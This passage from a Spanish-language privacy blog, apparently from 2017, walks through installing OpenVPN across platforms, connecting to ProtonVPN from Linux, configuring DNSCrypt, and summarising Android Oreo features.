12. Comprobamos que nuestra dirección IP corresponda a la del servidor que hemos seleccionado, en mi caso será Suiza (CH).


Nuestra recomendación es que uses siempre servidores VPN de pago y reconocidos, si no tienes el presupuesto necesario por el momento es mejor redirigir todo tu tráfico por TOR, más adelante explicaré como hacerlo desde Android.

Con esto finalizamos este post, en los proximos explicaremos cómo realizarlo para las plataformas restantes: iOS, Windows, Macintosh.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.

viernes, 15 de septiembre de 2017

Hackeando tu ISP: Conectándote a ProtonVPN, una VPN segura y confiable desde GNU/Linux.



En el post anterior les explicamos paso a paso cómo instalar OpenVPN en todas las plataformas. El día de hoy les vamos a enseñar cómo conectarse a una VPN segura y de confianza: ProtonVPN desde el sistema operativo GNU/Linux. ProtonVPN fué creada por los mismos fundadores de ProtonMail un servicio e-mail de los más seguros y privados hasta el momento, basado en Suiza, un país que respeta de una manera muy estricta los derechos de las personas en la red. 

ProtonVPN ofrece diferentes tipos de servicio, los cuales se pueden encontrar en https://account.protonvpn.com/signup las cuales son: Free, Basic, Plus y Visionary. Nosotros recomendamos que uses uno de los servicios de pago para mayor velocidad y mayor número de países a los cuales conectarse. Luego de crear nuestra cuenta, llenando los requisitos solicitados en https://account.protonvpn.com/signup vamos a realizar los siguientes pasos:

Nota: Para asegurarnos de que todo ha funcionado, primero revisaremos cual es nuestra dirección IP actual, para compararla con la obtenida al final del post. Para eso usamos desde nuestra terminal el comando: curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'  y guardamos el número de IP obtenido.

1. Ingresamos a nuestra cuenta aquí.

2. Vamos a la sección "Downloads", seleccionamos Linux y TCP respectivamente.


3. Un poco más abajo seleccionamos "Servers Configs".


4. Bajamos hasta el final y seleccionamos "Download all config servers."


5. Una vez descargados nos vamos a nuestro directorio de descargas, creamos una carpeta llamada "VPN" (opcional) y extraemos el archivo .zip que se descargó con el comando: unzip "ProtonVPN_server_configs.zip". 

6. Una vez haya finalizado el proceso de extracción podemos conectarnos a nuestro cliente VPN deseado mediante OpenVPN, para ello usamos el comando: openvpn "cliente.protonvpn.ovpn", cabe resaltar que cliente.protonvpn.ovpn debe ser reemplazado por el archivo de configuración descargado.


A ustedes les aparecerá menos cantidad de servidores si eligen una cuenta Free o Basic, tampoco les aparecerán servidores especiales como los servidores VPN Tor.

7. Una vez ejecutemos el comando que está en la parte superior nos pedirá la autenticación, debemos introducir la que encontramos en la sección "Account - OpenVPN Username."




Tip: Inicialmente el usuario y contraseña será una combinación de letras y números asignados por el servidor de ProtonVPN, pueden personalizarlos en las opciones "Change Username" & "Change Password".

8. Si todo nuestro procedimiento ha sido exitoso al final nos debe aparecer un mensaje "Initialization Sequence Completed."


Nota: En mi caso aparecen unos "Warning" cuando OpenVPN intenta modificar mi archivo /etc/resolv.conf, esto se debe a que tengo configurado DNSCrypt para usar un servidor DNS que encripte todo mi tráfico.

9. Comprobamos que el proceso haya sido satisfactorio revisando nuestra IP pública actual con el comando usado al inicio: curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'. Realizamos la comparación, si la IP es diferente todo ha salido bien.


Nuestra recomendación es que uses siempre servidores VPN de pago y reconocidos, si no tienes el presupuesto necesario por el momento es mejor redirigir todo tu tráfico por TOR, más adelante explicaré como hacerlo.

Con esto finalizamos este post, en los proximos explicaremos cómo realizarlo para las plataformas restantes: Android, iOS, Windows, Macintosh.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.

lunes, 11 de septiembre de 2017

Hackeando tu ISP: Instalación y configuración de OpenVPN en todas las plataformas.


En un post anterior explicamos paso a paso cómo instalar y configurar DNSCrypt en GNU/Linux, el día de hoy les enseñaremos cómo instalar y configurar OpenVPN en cualquier plataforma movíl o de computadora.

¿Que es OpenVPN?

OpenVPN es un daemon (Servicio) VPN robusto y altamente flexible. OpenVPN soporta seguridad SSL/TLS, puentes Ethernet, protocolos TCP o UDP a través de proxies o NAT, soporte para direcciones IP dinámicas y DHCP, escalabilidad a cientos o miles de usuarios y portabilidad a la mayoría de las plataformas principales.

OpenVPN está estrechamente unido a la biblioteca OpenSSL, y deriva gran parte de sus capacidades de cifrado de ella.

OpenVPN admite el cifrado convencional utilizando una clave secreta precompartida (modo de clave estática) o también de clave pública (SSL/TLS) mediante certificados de cliente y servidor. OpenVPN también admite túneles TCP/UDP no cifrados. Está diseñado para trabajar con la interfaz de red virtual TUN/TAP que existe en la mayoría de las plataformas.

Instalación y configuración.

* Linux.

Instalación.
 
Dependiendo de la distribución que uses, OpenVPN está disponible desde la mayoría de repositorios oficiales, así que lo puedes instalar con tu gestor de paquetes buscando el paquete openvpn.
ArchLinux: pacman -S openvpn
Debian: apt install openvpn
RedHat: yum install openvpn

Configuración.

Finalizada la instalación openvpn no necesita una configuración especial para funcionar en Debian o RedHat, sin embargo en ArchLinux debemos realizar una configuración adicional, si no la realizamos no funcionará. Se trata de un script que no incluye por defecto el paquete de instalación de ArchLinux el cual se llama update-resolv-conf.sh. Este script se encarga de actualizar las direcciones DNS de tu equipo de acuerdo a las configuradas por tu cliente VPN. El script puede ser descargado desde aquí y una vez descargado vamos a copiarlo dos veces en /etc/openvpn la primera copia de llamará update-resolv-conf.sh y la segunda copia update-resolv-conf. Una vez realizado esto le damos permisos de ejecución usando chmod + /etc/openvpn/update-resolv-conf.sh && chmod +x /etc/openvpn/update-resolv-conf.


* Windows.

Instalación.

Descarga el ejecutable .exe desde la página oficial de OpenVPN https://openvpn.net/index.php/download/community-downloads.html, ábrelo y da click en Next - Next... hasta que finalice la instalación.
Una vez finalizada la instalación tenemos listo nuestro cliente OpenVPN para usarlo.

Configuración.

En windows no requiere configuraciones adicionales.

* Macintosh.

Instalación.

Descarga Tunnelblick des su página oficial https://tunnelblick.net/downloads.html, una vez descargado instalamos el paquete .dmg.
Seleccionamos Tunnelblick en este paso.




Nos aparecerá un cuadro que dice "Este contenido fue descargado de internet, deseas abrirlo", damos click en "Open".


Luego aparecera un cuadro sobre la instalación le damos click en "Install" y esperamos a que finalize. Finalmente nos preguntará si deseamos ejecutarlo o salir.

Configuración.

No se requieren configuraciones adicionales.

* Android

Instalación.

Abrimos la Play Store y buscamos OpenVPN Connect u OpenVPN para Android.

 La seleccionamos y damos instalar.


 Aceptamos los permisos que requiere y esperamos a que se instale.


Los mismos pasos anteriores se deben seguir para instalar OpenVPN para Android.

Configuración.

No requiere configuraciones adicionales.

* IOS.

Instalación.

Abre la App Store y busca OpenVPN Connect, seleccionala.
Selecciona "free" e install.


Introduce tu clave de Itunes Store y espera a que finalice la instalación.


Configuración.

No requiere configuraciones adicionales.

Con esto damos por finalizado este post el cual esperamos que se de su agrado y utilidad, en el siguiente explicaremos cómo conectarse desde las plataformas anteriores a un cliente VPN y de esa manera ocultar nuestra ip.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.

domingo, 10 de septiembre de 2017

"Google Android". Saca su versión para los que le gustan las oreo


Google Android lanza al mercado su nueva versión de su sistema operativo, "Android 8.0 Oreo". Entre su novedades estará en el mantenimiento de su plataforma  Google Play Protect que  mantienen su dispositivo y sus datos protegidos de las aplicaciones de mal funcionamiento mediante el escaneo de más de 50 millones de aplicaciones por día, incluso los que no han instalado todavía! También  tendrá mejoras en su batería aunque este jugando o trasmitiendo usted se sentirá confiado en mantener su batería fuerte.


Le permite ver dos aplicaciones a la vez.
Destaca la notificación entrante con una fuente más grande, nombre de aplicación resaltado y acceso inmediato a las acciones. Le permite acceder rápidamente a las funciones de accesibilidad barra de navegación, como la ampliación y funcionalidad dentro de los servicios de accesibilidad, como Select a hablar. Función API para audio de alto rendimiento, incluyendo API de audio Native C/C++.


Los desarrolladores pueden ahora permitir que el tamaño de su texto se expanda o se contraiga automáticamente basándose en el tamaño y las características de TextView, lo que facilita mucho la optimización del tamaño del texto en diferentes pantallas o con contenido dinámico. 

Se conecta automáticamente a la alta calidad Wi-Fi y lo conecta con una VPN a Google.

Una de las novedades es incluyen 60 nuevos emoji, entre esta tenemos mujeres representando su trabajo.


La actualización estará disponible a finales de año en dispositivos de fabricantes de teléfonos, como Samsung, Sharp, Sony, Essential, General Mobile, Huawei, HTC, Kyocera, LG y Motorola. Para los dispositivos de Google como el teléfono Pixel, Nexus 5X y 6P, Para mayor información pueden leer su pagina oficial. https://www.android.com/versions/oreo-8-0/

Dejen sus recomendaciones en los comentarios. Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.

¡Hackeando tu ISP!. Instalación y configuración de DNSCrypt en GNU/Linux.


El día de hoy les explicaremos que es DNSCrypt, para que sirve, cómo funciona y también detallaremos paso a paso cómo configurarlo en nuestro sistema GNU/Linux para de esa manera obtener una conexión encriptada, de tal manera que nisiquiera nuestro ISP (Proveedor de Servicios) pueda conocer lo que realizamos a diario.

¿Que es DNSCrypt?

DNSCrypt es un protocolo que cifra y autentica las comunicaciones entre el usuario y un servicio de resolución DNS, evita la suplantación de DNS y utiliza firmas criptográficas para verificar que las respuestas provienen del servicio de resolución DNS elegido y no han sido manipuladas.

Es un protocolo abierto, con implementaciones de código abierto y gratuito, y no está afiliada a ninguna empresa u organización. DNSCrypt está disponible para la todas las plataformas en computadoras y dispositivos móviles.

Toma el control de tu tráfico DNS

Además de implementar el protocolo, los clientes comunes de DNSCrypt le dan mucho control sobre el tráfico de DNS.

Utilice dnscrypt-proxy para:

1. Comprobar el tráfico de DNS procedente de su red en tiempo real y detecte hosts y aplicaciones comprometidos en su red.

2. Bloquee localmente anuncios, rastreadores, malware, spam y cualquier sitio web cuyos nombres de dominio o direcciones IP coincidan con un conjunto de reglas que defina.

3. Evitar que las consultas de las zonas locales no se filtren.

4. Reduzca la latencia (tiempo que se necesita para trasmitir datos de un punto a otro en una red) mediante el caché de respuestas y evite solicitar direcciones IPv6 en redes IPv4 solamente.

5. Forzar el tráfico para utilizar TCP, para enrutarlo a través de túneles TCP o simplemente usando Tor.

Instalación.

DNSCrypt se encuentra disponible en la mayoría de distribuciones GNU/Linux desde sus repositorios. Para su instalación en Debian y ArchLinux basta con ejecutar las siguiente órdenes:

ArchLinux: pacman -S dnscrypt-proxy
Debian: apt install dnscrypt-proxy

Adicionalmente puede descargarlo desde su página oficial.

Configuración

DNSCypt proporciona un archivo de configuración cómo ejemplo en /etc/dnscrypt-proxy.conf.example, pero tenga en cuenta que systemd reemplaza la opción LocalAddress con un archivo de socket.

Para configurar DNSCrypt sin problemas sigue los siguientes paso:

Selecciona un servicio de resolución DNS.

Para seleccionar un servicio de resolución DNS adecuado para ti, puedes visitar la página https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv o bien desde tu archivo /usr/share/dnscrypt-proxy/dnscrypt-resolvers.csv, usando un nombre corto de los que aparecen en la columna "name" de la página mencionada.

En la imagen anterior un ejemplo de ellos sería bn-fr0.

Lo que debes hacer es cambiar tu archivo /etc/dnscrypt-proxy.conf en el apartado Resolver Settings cómo se muestra a continuación:


También es necesario configurar de manera correcta el apartado ResolversList dentro del archivo /etc/dnscrypt-proxy.conf añadiendo en seguida la ruta donde se encuentra el archivo dnscrypt-resolvers.csv. Es recomendable mantener ese archivo actualizado lo cual puedes hacer copiando, pegando y guardando dentro del archivo lo que está en este link.

También es altamente recomendable realizar lo siguiente:

1. Crea un nuevo usuario llamado dnscrypt usando el siguiente comando sudo adduser -m -N  -r -s /bin/false dnscrypt y enseguida edita el archivo /etc/dnscrypt-proxy.conf en la opción User de la siguiente manera:

User dnscrypt




Modifica el archivo /etc/resolv.conf

Después de realizar el procedimiento anterior, modifica el archivo /etc/resolv.conf reemplazando el contenido existente con:

nameserver 127.0.0.1

Sin embargo existen programas que pueden modificar este archivo, para evitarlo realizaremos los siguientes pasos:

1. Si usas Network Manager edita el archivo /etc/NetworkManager/NetworkManager.conf añadiendo las siguiente líneas:
[main]
dns=none

2. Si usas DHCP modifica el archivo /etc/dhcpcd.conf añadiendo la siguiente línea al final:

nohook resolv.conf

3. Opcionalmente para un mejor rendimiento puedes añadir la siguientes línea en /etc/resolv.conf:

options timeout:1

4. Protege el archivo /etc/resolv.conf contra escritura usando el siguiente comando:

chattr +i /etc/resolv.conf

5. Iniciamos el servicio usando el comando systemctl start dnscrypt-proxy y del mismo modo lo añadimos a la lista de servicios que inician automáticamente con el sistema mediante el comando systemctl enable dnscrypt-proxy. Con esto ya debemos tener nuestro DNSCrypt configurado y funcionando en nuestro sistema, para asegurarnos ejecutamos systemctl status dnscrypt-proxy y debemos obtener algo cómo esto:


¿Qué hago si el comando systemctl start dnscrypt-proxy no funciona (Problema comprobado en Fedora)?

La primera opción es que ejecutes directamente desde la terminal el comando dnscrypt-proxy /etc/dnscrypt-proxy.conf y con esto ya debería funcionar, pero dado que es incómodo tener que ejecutarlo siempre, vamos a crear un servicio para poder iniciarlo con systemctl y añadirlo a la lista de servicios que inician con el sistema, para eso hacemos lo siguiente:

1. Creamos el archivo /usr/lib/systemd/system/dnscrypt-proxy.service con nuestro editor de textos favorito y copiamos y pegamos el siguiente contenido:

[Unit]
Description=dnscrypt - Encrypted DNS service provided by OpenDNS
After=NetworkManager.service

[Service]
ExecStart=/usr/sbin/dnscrypt-proxy /etc/dnscrypt-proxy.conf

[Install]
WantedBy=multi-user.target


2. Guardamos el archivo y ejecutamos el comando systemctl daemon-reload. 

3. Realizamos lo descrito en el paso 5 de la sección anterior.

Finalizando.

Tip: Busca en el archivo /etc/dnscrypt-proxy.conf la opción LocalCache y asegurate que esté desmarcada y On, así:

## Cache DNS responses to avoid outgoing traffic when the same queries
## are repeated multiple times in a row.

LocalCache on
También podemos comprobar que DNSCrypt está funcionando mediante el uso del comando dig, para lo cual necesitamos instalar previamente el paquete bind-tools mediante el gestor de paquetes de su distribución, una vez instalado ejecutamos dig debug.opendns.com txt y debemos obtener algo así en la salida de la terminal:


Con esto finalizamos este post, esperamos que haya sido de su agrado.  

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.